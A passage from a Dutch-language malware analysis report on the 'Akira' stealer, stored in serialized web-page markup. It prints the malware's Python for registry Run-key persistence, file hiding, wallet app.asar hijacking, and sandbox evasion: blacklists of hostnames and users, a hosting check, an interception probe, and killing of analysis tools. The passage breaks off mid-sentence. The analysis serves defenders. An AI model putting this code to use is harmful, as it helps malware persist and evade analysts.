persistence.",[862,4482,4484],{"id":4483},"_722-persistentie-via-het-register","7.2.2 Persistentie via het register",[533,4486,868],{},[533,4488,4489,4490,4492],{},"Akira vestigt persistence door een registersleutel te schrijven onder het Run-pad van de huidige gebruiker. Daarmee wordt ",[551,4491,574],{}," bij elke systeemstart uitgevoerd:",[588,4494,4498],{"className":4495,"code":4496,"language":4497,"meta":594,"style":594},"language-python shiki shiki-themes github-light github-dark","command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\nos.system(command)\n","python",[551,4499,4500,4505],{"__ignoreMap":594},[1681,4501,4502],{"class":1683,"line":1684},[1681,4503,4504],{},"command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\n",[1681,4506,4507],{"class":1683,"line":2061},[1681,4508,4509],{},"os.system(command)\n",[604,4511,4512,4519,4526],{},[607,4513,4514,973,4517],{},[540,4515,4516],{},"Pad",[551,4518,1653],{},[607,4520,4521,973,4523,4525],{},[540,4522,1658],{},[551,4524,1661],{}," (gekozen om onschuldig te lijken)",[607,4527,4528,4531,4532],{},[540,4529,4530],{},"Pad van de payload",": doorgaans in ",[551,4533,4534],{},"AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\\\Updater.exe",[533,4536,4537,4538,4541],{},"Dit commando schrijft de autorun-entry stil weg via PowerShell of via een native ",[551,4539,4540],{},"os.system()","-uitvoering.",[862,4543,4545],{"id":4544},"_723-verbergen-van-het-bestand","7.2.3 Verbergen van het bestand",[533,4547,868],{},[533,4549,4550],{},"Om het binary verder te verbergen voor gebruikers en eenvoudige AV-scans wordt het bestand voorzien van de attributen hidden en system:",[588,4552,4554],{"className":4495,"code":4553,"language":4497,"meta":594,"style":594},"subprocess.run([\"attrib\", \"+h\", \"+s\", destination_path])\n",[551,4555,4556],{"__ignoreMap":594},[1681,4557,4558],{"class":1683,"line":1684},[1681,4559,4553],{},[604,4561,4562,4568],{},[607,4563,4564,4567],{},[551,4565,4566],{},"+h",": markeert het bestand als verborgen",[607,4569,4570,4573],{},[551,4571,4572],{},"+s",": markeert het bestand als beschermd systeembestand",[533,4575,4576],{},"Daarmee verdwijnt het bestand uit de standaardweergave van Windows Verkenner en neemt de stealth toe.",[862,4578,4580],{"id":4579},"_724-technieken-voor-herinfectie","7.2.4 Technieken voor herinfectie",[533,4582,868],{},[533,4584,4585,4586,4588,4589,620,4592,4595],{},"De malware ondersteunt zelfreplicatie en herinfectie via hijacking van Electron-applicaties. Concreet vervangt hij het archief ",[551,4587,1047],{}," in Electron-based desktopwallets (bijvoorbeeld ",[540,4590,4591],{},"Exodus",[540,4593,4594],{},"Atomic Wallet",") om kwaadaardig JavaScript uit te voeren tijdens het legitieme opstarten van de app.",[533,4597,4598],{},"De logica zoekt naar bekende paden van wallet-apps:",[588,4600,4602],{"className":4495,"code":4601,"language":4497,"meta":594,"style":594},"path = os.getenv(\"APPDATA\") + \"\\\\Exodus\\\\resources\\\\app.asar\"\n",[551,4603,4604],{"__ignoreMap":594},[1681,4605,4606],{"class":1683,"line":1684},[1681,4607,4601],{},[533,4609,4610,4611,697],{},"Als het doelbestand bestaat, wordt het overschreven met een bewapend archief. Daarmee blijft persistence bestaan, zelfs na handmatige opschoning van ",[551,4612,574],{},[715,4614,4616,4617,1113],{"id":4615},"_73-anti-analyse-evasie-klasse-vmprotect","7.3 Anti-analyse / evasie (klasse: ",[551,4618,4619],{},"VmProtect",[533,4621,721],{},[862,4623,4625],{"id":4624},"_731-inleiding","7.3.1 Inleiding",[533,4627,868],{},[533,4629,4630,4631,4634,4635,4637],{},"In moderne malwarecampagnes is het ontlopen van analyse in gevirtualiseerde en sandbox-omgevingen cruciaal om stealth te behouden. De ",[4632,4633,651],"em",{}," bevat een uitgebreide module voor VM- en sandboxdetectie (",[551,4636,4619],{},") die agressief omgevingen onder controle van analisten identificeert en de uitvoering afbreekt. Dit rapport ontleedt elke detectietechniek, geeft de exacte codefragmenten inclusief de volledige blacklistdefinities en schetst de gebruikte analysemethodiek.",[862,4639,4641],{"id":4640},"_732-overzicht","7.3.2 Overzicht",[533,4643,868],{},[533,4645,4646,4647,4649],{},"De klasse ",[551,4648,4619],{}," implementeert robuuste VM- en sandboxdetectie om de uitvoering in analyseomgevingen vroegtijdig af te breken. Er zijn twee detectieniveaus:",[604,4651,4652,4658],{},[607,4653,4654,4657],{},[540,4655,4656],{},"Niveau 1",": lichte, snelle checks",[607,4659,4660,4663],{},[540,4661,4662],{},"Niveau 2",": diepgaande, uitgebreide probes",[533,4665,4666,4667,1267,4670,4673,4674,4677],{},"Als ",[551,4668,4669],{},"VmProtect.isVM(level)",[551,4671,4672],{},"True"," teruggeeft, roept de malware ",[551,4675,4676],{},"sys.exit()"," aan en voorkomt daarmee verdere analyse.",[862,4679,4681],{"id":4680},"_733-detectieniveaus","7.3.3 Detectieniveaus",[533,4683,868],{},[1392,4685,4687,4688],{"style":4686},"width:100%; border-collapse: collapse;","\n  ",[1408,4689,4690,4687,4701,4687,4711,4687,4721,4687,4730,4687,4740,4687,4749,4687,4758],{},[1398,4691,4692,4693,4692,4696,4692,4699,4687],{},"\n    ",[1401,4694,4695],{},"Kenmerk",[1401,4697,4656],{"style":4698},"text-align: center;",[1401,4700,4662],{"style":4698},[1398,4702,4692,4703,4692,4706,4692,4709,4687],{},[1413,4704,4705],{},"HTTPSimulation",[1413,4707,4708],{"style":4698},"✔️",[1413,4710,4708],{"style":4698},[1398,4712,4692,4714,4692,4717,4692,4719,4687],{"style":4713},"background-color: #f5f5f5;",[1413,4715,4716],{},"Blacklist computernamen",[1413,4718,4708],{"style":4698},[1413,4720,4708],{"style":4698},[1398,4722,4692,4723,4692,4726,4692,4728,4687],{},[1413,4724,4725],{},"Blacklist gebruikersaccounts",[1413,4727,4708],{"style":4698},[1413,4729,4708],{"style":4698},[1398,4731,4692,4732,4692,4735,4692,4738,4687],{"style":4713},[1413,4733,4734],{},"Blacklist hardware-UUID's",[1413,4736,4737],{"style":4698},"❌",[1413,4739,4708],{"style":4698},[1398,4741,4692,4742,4692,4745,4692,4747,4687],{},[1413,4743,4744],{},"Check via public-hosting-API",[1413,4746,4737],{"style":4698},[1413,4748,4708],{"style":4698},[1398,4750,4692,4751,4692,4754,4692,4756,4687],{"style":4713},[1413,4752,4753],{},"Aanwijzingen uit register en GPU",[1413,4755,4737],{"style":4698},[1413,4757,4708],{"style":4698},[1398,4759,4692,4760,4692,4763,4692,4765,4687],{},[1413,4761,4762],{},"Task-killing op de achtergrond",[1413,4764,4708],{"style":4698},[1413,4766,4708],{"style":4698},[827,4768],{"className":4769},[830,831],[862,4771,4773,4774],{"id":4772},"_734-architectuur-van-vmprotect","7.3.4 Architectuur van ",[551,4775,4619],{},[533,4777,868],{},[533,4779,4646,4780,4782],{},[551,4781,4619],{}," biedt de volgende primaire methoden:",[604,4784,4785,4792,4799,4806,4813,4820,4827,4834],{},[607,4786,4787],{},[540,4788,4789],{},[551,4790,4791],{},"checkUUID()",[607,4793,4794],{},[540,4795,4796],{},[551,4797,4798],{},"checkComputerName()",[607,4800,4801],{},[540,4802,4803],{},[551,4804,4805],{},"checkUsers()",[607,4807,4808],{},[540,4809,4810],{},[551,4811,4812],{},"checkHosting()",[607,4814,4815],{},[540,4816,4817],{},[551,4818,4819],{},"checkHTTPSimulation()",[607,4821,4822],{},[540,4823,4824],{},[551,4825,4826],{},"checkRegistry()",[607,4828,4829],{},[540,4830,4831],{},[551,4832,4833],{},"killTasks()",[607,4835,4836],{},[540,4837,4838],{},[551,4839,4840],{},"isVM(level)",[533,4842,4843,4844,4847],{},"Elke methode geeft een boolean terug of voert evasiestappen uit. De wrapper ",[551,4845,4846],{},"isVM"," bundelt deze checks op basis van het opgegeven niveau.",[1392,4849,4687,4850],{"style":4686},[1408,4851,4852,4687,4864,4687,4878,4687,4892,4687,4905,4687,4918,4687,4931,4687,4944,4687,4959],{},[1398,4853,4692,4854,4692,4858,4692,4861,4687],{},[1401,4855,4857],{"style":4856},"text-align: left;","Methode",[1401,4859,4860],{"style":4856},"Getriggerd door",[1401,4862,4863],{"style":4856},"Beschrijving",[1398,4865,4692,4866,4692,4870,4692,4875,4687],{},[1413,4867,4868],{},[551,4869,4791],{},[1413,4871,4872],{},[551,4873,4874],{},"isVM(2)",[1413,4876,4877],{},"Blacklist van WMI-UUID's",[1398,4879,4692,4880,4692,4884,4692,4889,4687],{"style":4713},[1413,4881,4882],{},[551,4883,4798],{},[1413,4885,4886],{},[551,4887,4888],{},"isVM(1,2)",[1413,4890,4891],{},"Match op hostname uit de omgeving",[1398,4893,4692,4894,4692,4898,4692,4902,4687],{},[1413,4895,4896],{},[551,4897,4805],{},[1413,4899,4900],{},[551,4901,4888],{},[1413,4903,4904],{},"Blacklist van gebruikersnamen",[1398,4906,4692,4907,4692,4911,4692,4915,4687],{"style":4713},[1413,4908,4909],{},[551,4910,4812],{},[1413,4912,4913],{},[551,4914,4874],{},[1413,4916,4917],{},"Check op hostingprovider van het IP via ip-api.com",[1398,4919,4692,4920,4692,4924,4692,4928,4687],{},[1413,4921,4922],{},[551,4923,4819],{},[1413,4925,4926],{},[551,4927,4888],{},[1413,4929,4930],{},"Detectie van HTTPS-interceptie",[1398,4932,4692,4933,4692,4937,4692,4941,4687],{"style":4713},[1413,4934,4935],{},[551,4936,4826],{},[1413,4938,4939],{},[551,4940,4874],{},[1413,4942,4943],{},"Artefacten in register en GPU-driver",[1398,4945,4692,4946,4692,4950,4692,4956,4687],{},[1413,4947,4948],{},[551,4949,4833],{},[1413,4951,4952,4955],{},[551,4953,4954],{},"isVM(...)"," spawn",[1413,4957,4958],{},"Beëindigt bekende analyseprocessen",[1398,4960,4692,4961,4692,4965,4692,4968,4687],{"style":4713},[1413,4962,4963],{},[551,4964,4840],{},[1413,4966,4967],{},"init",[1413,4969,4970,4971],{},"Bundelt de checks en start de thread ",[551,4972,4833],{},[827,4974],{"className":4975},[830,831],[588,4977,4979],{"className":4495,"code":4978,"language":4497,"meta":594,"style":594},"@staticmethod\ndef isVM(level: int) -> bool:\n    # Always start background task-killer\n    Thread(target=VmProtect.killTasks, daemon=True).start()\n    if level == 1:\n        # Fast path: HTTPS, hostname & user\n        return (\n            VmProtect.checkHTTPSimulation()\n            or VmProtect.checkComputerName()\n            or VmProtect.checkUsers()\n        )\n    if level == 2:\n        # Deep scan: includes UUID, hosting, registry & GPU\n        try:\n            return (\n                VmProtect.checkHTTPSimulation()\n                or VmProtect.checkUUID()\n                or VmProtect.checkComputerName()\n                or VmProtect.checkUsers()\n                or VmProtect.checkHosting()\n                or VmProtect.checkRegistry()\n            )\n        except:\n            return False\n    return False\n",[551,4980,4981,4986,4991,4996,5001,5006,5011,5016,5021,5026,5031,5037,5043,5049,5055,5061,5067,5073,5079,5085,5091,5097,5103,5109,5115],{"__ignoreMap":594},[1681,4982,4983],{"class":1683,"line":1684},[1681,4984,4985],{},"@staticmethod\n",[1681,4987,4988],{"class":1683,"line":2061},[1681,4989,4990],{},"def isVM(level: int) -> bool:\n",[1681,4992,4993],{"class":1683,"line":2067},[1681,4994,4995],{},"    # Always start background task-killer\n",[1681,4997,4998],{"class":1683,"line":2073},[1681,4999,5000],{},"    Thread(target=VmProtect.killTasks, daemon=True).start()\n",[1681,5002,5003],{"class":1683,"line":2394},[1681,5004,5005],{},"    if level == 1:\n",[1681,5007,5008],{"class":1683,"line":2400},[1681,5009,5010],{},"        # Fast path: HTTPS, hostname & user\n",[1681,5012,5013],{"class":1683,"line":3059},[1681,5014,5015],{},"        return (\n",[1681,5017,5018],{"class":1683,"line":3856},[1681,5019,5020],{},"            VmProtect.checkHTTPSimulation()\n",[1681,5022,5023],{"class":1683,"line":3862},[1681,5024,5025],{},"            or VmProtect.checkComputerName()\n",[1681,5027,5028],{"class":1683,"line":4109},[1681,5029,5030],{},"            or VmProtect.checkUsers()\n",[1681,5032,5034],{"class":1683,"line":5033},11,[1681,5035,5036],{},"        )\n",[1681,5038,5040],{"class":1683,"line":5039},12,[1681,5041,5042],{},"    if level == 2:\n",[1681,5044,5046],{"class":1683,"line":5045},13,[1681,5047,5048],{},"        # Deep scan: includes UUID, hosting, registry & GPU\n",[1681,5050,5052],{"class":1683,"line":5051},14,[1681,5053,5054],{},"        try:\n",[1681,5056,5058],{"class":1683,"line":5057},15,[1681,5059,5060],{},"            return (\n",[1681,5062,5064],{"class":1683,"line":5063},16,[1681,5065,5066],{},"                VmProtect.checkHTTPSimulation()\n",[1681,5068,5070],{"class":1683,"line":5069},17,[1681,5071,5072],{},"                or VmProtect.checkUUID()\n",[1681,5074,5076],{"class":1683,"line":5075},18,[1681,5077,5078],{},"                or VmProtect.checkComputerName()\n",[1681,5080,5082],{"class":1683,"line":5081},19,[1681,5083,5084],{},"                or VmProtect.checkUsers()\n",[1681,5086,5088],{"class":1683,"line":5087},20,[1681,5089,5090],{},"                or VmProtect.checkHosting()\n",[1681,5092,5094],{"class":1683,"line":5093},21,[1681,5095,5096],{},"                or VmProtect.checkRegistry()\n",[1681,5098,5100],{"class":1683,"line":5099},22,[1681,5101,5102],{},"            )\n",[1681,5104,5106],{"class":1683,"line":5105},23,[1681,5107,5108],{},"        except:\n",[1681,5110,5112],{"class":1683,"line":5111},24,[1681,5113,5114],{},"            return False\n",[1681,5116,5118],{"class":1683,"line":5117},25,[1681,5119,5120],{},"    return False\n",[862,5122,5124],{"id":5123},"_735-uuid-check-virtuele-machines-identificeren-via-de-hardware-uuid","7.3.5 UUID-check: virtuele machines identificeren via de hardware-UUID",[533,5126,868],{},[533,5128,5129],{},"Een gangbare evasietactiek van malware is het fingerprinten van de onderliggende hardwareomgeving. Een van de eerste identifiers die op een virtuele machine kan wijzen, is de systeem-UUID (Universally Unique Identifier). Virtualisatieplatforms als VMware en VirtualBox genereren vaak voorspelbare of hergebruikte UUID's, waaraan malware kan afleiden of hij in een gevirtualiseerde of sandbox-omgeving loopt.",[588,5131,5133],{"className":4495,"code":5132,"language":4497,"meta":594,"style":594},"@staticmethod\ndef checkUUID() -> bool:\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\", shell=True,\n            capture_output=True\n        ).stdout.splitlines()[2].decode().strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n",[551,5134,5135,5139,5144,5149,5154,5159,5164,5169,5174,5179],{"__ignoreMap":594},[1681,5136,5137],{"class":1683,"line":1684},[1681,5138,4985],{},[1681,5140,5141],{"class":1683,"line":2061},[1681,5142,5143],{},"def checkUUID() -> bool:\n",[1681,5145,5146],{"class":1683,"line":2067},[1681,5147,5148],{},"    try:\n",[1681,5150,5151],{"class":1683,"line":2073},[1681,5152,5153],{},"        raw = subprocess.run(\n",[1681,5155,5156],{"class":1683,"line":2394},[1681,5157,5158],{},"            \"wmic csproduct get uuid\", shell=True,\n",[1681,5160,5161],{"class":1683,"line":2400},[1681,5162,5163],{},"            capture_output=True\n",[1681,5165,5166],{"class":1683,"line":3059},[1681,5167,5168],{},"        ).stdout.splitlines()[2].decode().strip()\n",[1681,5170,5171],{"class":1683,"line":3856},[1681,5172,5173],{},"    except:\n",[1681,5175,5176],{"class":1683,"line":3862},[1681,5177,5178],{},"        raw = \"\"\n",[1681,5180,5181],{"class":1683,"line":4109},[1681,5182,5183],{},"    return raw in VmProtect.BLACKLISTED_UUIDS\n",[533,5185,5186],{},"Deze check gebruikt de tool Windows Management Instrumentation Command-line (WMIC) om de UUID van de hostmachine uit te lezen. De teruggegeven waarde wordt vervolgens vergeleken met een samengestelde lijst van UUID's die vaak horen bij templates van virtuele machines of bekende analyseopstellingen.",[862,5188,5190],{"id":5189},"_736-check-op-computernaam-sandbox-en-analyseomgevingen-detecteren-via-de-hostname","7.3.6 Check op computernaam: sandbox- en analyseomgevingen detecteren via de hostname",[533,5192,868],{},[533,5194,5195,5196,5199],{},"De hostname van het systeem, uitgelezen via de omgevingsvariabele ",[551,5197,5198],{},"%COMPUTERNAME%",", verraadt vaak iets over de omgeving. Analisten gebruiken regelmatig standaard of snel gegenereerde hostnames als \"DESKTOP-XXXXXXX\", \"WIN10ANALYSIS\" of zelfs namen die aan hun interne omgeving zijn gekoppeld. Malware maakt daar gebruik van door de hostname van het systeem te vergelijken met een blacklist.",[588,5201,5203],{"className":4495,"code":5202,"language":4497,"meta":594,"style":594},"@staticmethod\ndef checkComputerName() -> bool:\n    name = os.getenv(\"computername\", \"\").lower()\n    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n\nBLACKLISTED_COMPUTERNAMES = (\n    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n    'desktop-vkeons4','ntt-eff-2w11wss',\n    # ... dozens more entries ...\n)\n",[551,5204,5205,5209,5214,5219,5224,5228,5233,5238,5243,5248],{"__ignoreMap":594},[1681,5206,5207],{"class":1683,"line":1684},[1681,5208,4985],{},[1681,5210,5211],{"class":1683,"line":2061},[1681,5212,5213],{},"def checkComputerName() -> bool:\n",[1681,5215,5216],{"class":1683,"line":2067},[1681,5217,5218],{},"    name = os.getenv(\"computername\", \"\").lower()\n",[1681,5220,5221],{"class":1683,"line":2073},[1681,5222,5223],{},"    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1681,5225,5226],{"class":1683,"line":2394},[1681,5227,3853],{"emptyLinePlaceholder":325},[1681,5229,5230],{"class":1683,"line":2400},[1681,5231,5232],{},"BLACKLISTED_COMPUTERNAMES = (\n",[1681,5234,5235],{"class":1683,"line":3059},[1681,5236,5237],{},"    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n",[1681,5239,5240],{"class":1683,"line":3856},[1681,5241,5242],{},"    'desktop-vkeons4','ntt-eff-2w11wss',\n",[1681,5244,5245],{"class":1683,"line":3862},[1681,5246,5247],{},"    # ... dozens more entries ...\n",[1681,5249,5250],{"class":1683,"line":4109},[1681,5251,5252],{},")\n",[533,5254,5255],{},"Bij een match kan de malware besluiten de uitvoering te stoppen of een nep-payload uit te rollen en zo een volledige gedragsanalyse te ontlopen.",[862,5257,5259],{"id":5258},"_737-check-op-gebruikersaccount-profileren-van-analist-of-standaardaccounts","7.3.7 Check op gebruikersaccount: profileren van analist- of standaardaccounts",[533,5261,868],{},[533,5263,5264],{},"Een andere heuristiek beoordeelt de gebruikersnaam waaronder de malware wordt uitgevoerd. Veel templates van virtuele machines en sandboxes hergebruiken gangbare gebruikersnamen als \"Abby\", \"Test\" of \"wdagutilityaccount\". Die namen hebben een lage entropie en staan vaak hardcoded in open source sandbox-omgevingen.",[588,5266,5268],{"className":4495,"code":5267,"language":4497,"meta":594,"style":594},"@staticmethod\ndef checkUsers() -> bool:\n    user = os.getlogin().lower()\n    return user in VmProtect.BLACKLISTED_USERS\n\nBLACKLISTED_USERS = (\n    'wdagutilityaccount','abby','peter wilson','hmarc',\n    'a.monaldo','tvm',\n    # ... 30+ more entries ...\n)\n",[551,5269,5270,5274,5279,5284,5289,5293,5298,5303,5308,5313],{"__ignoreMap":594},[1681,5271,5272],{"class":1683,"line":1684},[1681,5273,4985],{},[1681,5275,5276],{"class":1683,"line":2061},[1681,5277,5278],{},"def checkUsers() -> bool:\n",[1681,5280,5281],{"class":1683,"line":2067},[1681,5282,5283],{},"    user = os.getlogin().lower()\n",[1681,5285,5286],{"class":1683,"line":2073},[1681,5287,5288],{},"    return user in VmProtect.BLACKLISTED_USERS\n",[1681,5290,5291],{"class":1683,"line":2394},[1681,5292,3853],{"emptyLinePlaceholder":325},[1681,5294,5295],{"class":1683,"line":2400},[1681,5296,5297],{},"BLACKLISTED_USERS = (\n",[1681,5299,5300],{"class":1683,"line":3059},[1681,5301,5302],{},"    'wdagutilityaccount','abby','peter wilson','hmarc',\n",[1681,5304,5305],{"class":1683,"line":3856},[1681,5306,5307],{},"    'a.monaldo','tvm',\n",[1681,5309,5310],{"class":1683,"line":3862},[1681,5311,5312],{},"    # ... 30+ more entries ...\n",[1681,5314,5315],{"class":1683,"line":4109},[1681,5316,5252],{},[533,5318,5319],{},"Deze check verbetert de detectie door zich te richten op de gebruikerscontext, die ook na herstarts of snapshots van virtuele machines ongewijzigd kan blijven.",[862,5321,5323],{"id":5322},"_738-hostingcheck-publieke-cloudinfrastructuur-detecteren","7.3.8 Hostingcheck: publieke cloudinfrastructuur detecteren",[533,5325,868],{},[533,5327,5328,5329,5332],{},"Sommige malware gebruikt externe IP-intelligencediensten om te achterhalen of het geïnfecteerde systeem in een bekend datacenter of bij een cloudprovider staat. In dit geval gaat er een eenvoudig HTTP-request naar ",[551,5330,5331],{},"ip-api.com"," met de vraag of het IP als \"hosting\" is gemarkeerd.",[588,5334,5336],{"className":4495,"code":5335,"language":4497,"meta":594,"style":594},"@staticmethod\ndef checkHosting() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET',\n            'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n",[551,5337,5338,5342,5347,5352,5356,5361,5366,5371,5376,5380],{"__ignoreMap":594},[1681,5339,5340],{"class":1683,"line":1684},[1681,5341,4985],{},[1681,5343,5344],{"class":1683,"line":2061},[1681,5345,5346],{},"def checkHosting() -> bool:\n",[1681,5348,5349],{"class":1683,"line":2067},[1681,5350,5351],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\")\n",[1681,5353,5354],{"class":1683,"line":2073},[1681,5355,5148],{},[1681,5357,5358],{"class":1683,"line":2394},[1681,5359,5360],{},"        return http.request(\n",[1681,5362,5363],{"class":1683,"line":2400},[1681,5364,5365],{},"            'GET',\n",[1681,5367,5368],{"class":1683,"line":3059},[1681,5369,5370],{},"            'http://ip-api.com/line/?fields=hosting'\n",[1681,5372,5373],{"class":1683,"line":3856},[1681,5374,5375],{},"        ).data.decode().strip() == 'true'\n",[1681,5377,5378],{"class":1683,"line":3862},[1681,5379,5173],{},[1681,5381,5382],{"class":1683,"line":4109},[1681,5383,5384],{},"        return False\n",[533,5386,5387],{},"Zo kan de malware vaststellen of hij loopt op infrastructuur van Microsoft Azure, AWS, DigitalOcean en dergelijke, wat een rode vlag is voor sandboxing.",[862,5389,5391],{"id":5390},"_739-https-simulatiecheck-aftasten-op-ssl-interceptie","7.3.9 HTTPS-simulatiecheck: aftasten op SSL-interceptie",[533,5393,868],{},[533,5395,5396,5397,5400],{},"Om omgevingen met SSL-inspectie te herkennen (gangbaar in bedrijfs- of onderzoeksnetwerken) stuurt de malware een onschuldig HTTPS-request naar een willekeurig subdomein onder ",[551,5398,5399],{},".in",". Als de verbinding mislukt door DNS-filtering, interceptieproxy's of falende certificate pinning, kan dat erop wijzen dat de malware wordt geanalyseerd.",[588,5402,5404],{"className":4495,"code":5403,"language":4497,"meta":594,"style":594},"@staticmethod\ndef checkHTTPSimulation() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n    except:\n        return False\n    return True\n",[551,5405,5406,5410,5415,5420,5424,5429,5433,5437],{"__ignoreMap":594},[1681,5407,5408],{"class":1683,"line":1684},[1681,5409,4985],{},[1681,5411,5412],{"class":1683,"line":2061},[1681,5413,5414],{},"def checkHTTPSimulation() -> bool:\n",[1681,5416,5417],{"class":1683,"line":2067},[1681,5418,5419],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n",[1681,5421,5422],{"class":1683,"line":2073},[1681,5423,5148],{},[1681,5425,5426],{"class":1683,"line":2394},[1681,5427,5428],{},"        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n",[1681,5430,5431],{"class":1683,"line":2400},[1681,5432,5173],{},[1681,5434,5435],{"class":1683,"line":3059},[1681,5436,5384],{},[1681,5438,5439],{"class":1683,"line":3856},[1681,5440,5441],{},"    return True\n",[533,5443,5444],{},"Deze subtiele aanpak test de integriteit van het netwerkpad zonder alarm te slaan of eigen infrastructuur te vereisen.",[862,5446,5448],{"id":5447},"_7310-check-op-register-en-gpu-driver-virtuele-gpu-signaturen-detecteren","7.3.10 Check op register en GPU-driver: virtuele GPU-signaturen detecteren",[533,5450,868],{},[533,5452,5453,5454,5457],{},"Bepaalde virtuele omgevingen verraden zich via registersleutels of descriptors van GPU-drivers. Akira volgt een dubbele strategie: hij bevraagt registerentries die aan het grafische subsysteem hangen en bekijkt daarnaast de output van ",[551,5455,5456],{},"wmic"," op verdachte GPU-strings.",[588,5459,5461],{"className":4495,"code":5460,"language":4497,"meta":594,"style":594},"@staticmethod\ndef checkRegistry() -> bool:\n    r1 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n        capture_output=True, shell=True)\n    r2 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n        capture_output=True, shell=True)\n\n    # GPU name check\n    gpu_out = subprocess.run(\n        \"wmic path win32_VideoController get name\",\n        capture_output=True, shell=True).stdout.decode().splitlines()\n    gpucheck = any(x in gpu_out[2].lower()\n                   for x in (\"virtualbox\", \"vmware\"))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[551,5462,5463,5467,5472,5477,5482,5487,5492,5497,5501,5505,5510,5515,5520,5525,5530,5535],{"__ignoreMap":594},[1681,5464,5465],{"class":1683,"line":1684},[1681,5466,4985],{},[1681,5468,5469],{"class":1683,"line":2061},[1681,5470,5471],{},"def checkRegistry() -> bool:\n",[1681,5473,5474],{"class":1683,"line":2067},[1681,5475,5476],{},"    r1 = subprocess.run(\n",[1681,5478,5479],{"class":1683,"line":2073},[1681,5480,5481],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n",[1681,5483,5484],{"class":1683,"line":2394},[1681,5485,5486],{},"        capture_output=True, shell=True)\n",[1681,5488,5489],{"class":1683,"line":2400},[1681,5490,5491],{},"    r2 = subprocess.run(\n",[1681,5493,5494],{"class":1683,"line":3059},[1681,5495,5496],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n",[1681,5498,5499],{"class":1683,"line":3856},[1681,5500,5486],{},[1681,5502,5503],{"class":1683,"line":3862},[1681,5504,3853],{"emptyLinePlaceholder":325},[1681,5506,5507],{"class":1683,"line":4109},[1681,5508,5509],{},"    # GPU name check\n",[1681,5511,5512],{"class":1683,"line":5033},[1681,5513,5514],{},"    gpu_out = subprocess.run(\n",[1681,5516,5517],{"class":1683,"line":5039},[1681,5518,5519],{},"        \"wmic path win32_VideoController get name\",\n",[1681,5521,5522],{"class":1683,"line":5045},[1681,5523,5524],{},"        capture_output=True, shell=True).stdout.decode().splitlines()\n",[1681,5526,5527],{"class":1683,"line":5051},[1681,5528,5529],{},"    gpucheck = any(x in gpu_out[2].lower()\n",[1681,5531,5532],{"class":1683,"line":5057},[1681,5533,5534],{},"                   for x in (\"virtualbox\", \"vmware\"))\n",[1681,5536,5537],{"class":1683,"line":5063},[1681,5538,5539],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[533,5541,5542],{},"Deze checks op hardwareniveau zijn bijzonder effectief tegen analyseopstellingen die gevirtualiseerde beeldadapters niet volledig maskeren.",[862,5544,5546],{"id":5545},"_7311-task-killing-analysetools-in-realtime-onderdrukken","7.3.11 Task-killing: analysetools in realtime onderdrukken",[533,5548,868],{},[533,5550,5551],{},"Akira ontloopt detectie niet alleen passief, maar gaat een stap verder door bekende analyse- of debugtools actief te beëindigen. De malware start een achtergrondthread die een lijst met processen doorloopt en elke match afsluit.",[588,5553,5555],{"className":4495,"code":5554,"language":4497,"meta":594,"style":594},"@staticmethod\ndef killTasks() -> None:\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n\nBLACKLISTED_TASKS = (\n  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n  # ... dozens more ...\n  'glasswire','requestly'\n)\n",[551,5556,5557,5561,5566,5571,5575,5580,5585,5590,5595],{"__ignoreMap":594},[1681,5558,5559],{"class":1683,"line":1684},[1681,5560,4985],{},[1681,5562,5563],{"class":1683,"line":2061},[1681,5564,5565],{},"def killTasks() -> None:\n",[1681,5567,5568],{"class":1683,"line":2067},[1681,5569,5570],{},"    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[1681,5572,5573],{"class":1683,"line":2073},[1681,5574,3853],{"emptyLinePlaceholder":325},[1681,5576,5577],{"class":1683,"line":2394},[1681,5578,5579],{},"BLACKLISTED_TASKS = (\n",[1681,5581,5582],{"class":1683,"line":2400},[1681,5583,5584],{},"  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n",[1681,5586,5587],{"class":1683,"line":3059},[1681,5588,5589],{},"  # ... dozens more ...\n",[1681,5591,5592],{"class":1683,"line":3856},[1681,5593,5594],{},"  'glasswire','requestly'\n",[1681,5596,5597],{"class":1683,"line":3862},[1681,5598,5252],{},[533,5600,5601],{},"Deze tools, veelgebruikt door incident responders en malware-analisten, worden uitgeschakeld voordat ze zinvolle gedragsartefacten kunnen verzamelen.",[533,5603,5604],{},[540,5605,5606],{},"Samenvatting",[533,5608,5609],{},"Akira gebruikt een geraffineerd arsenaal aan anti-analysetechnieken die op meerdere systeemlagen aangrijpen, van omgevingsvariabelen en registersleutels tot netwerkprobes en processlijsten. Deze mechanismen zijn erop gericht zowel geautomatiseerde sandboxes als handmatige inspectieopstellingen te detecteren en te ontlopen.",[533,5611,5612],{},"De combinatie van passieve fingerprinting en actieve 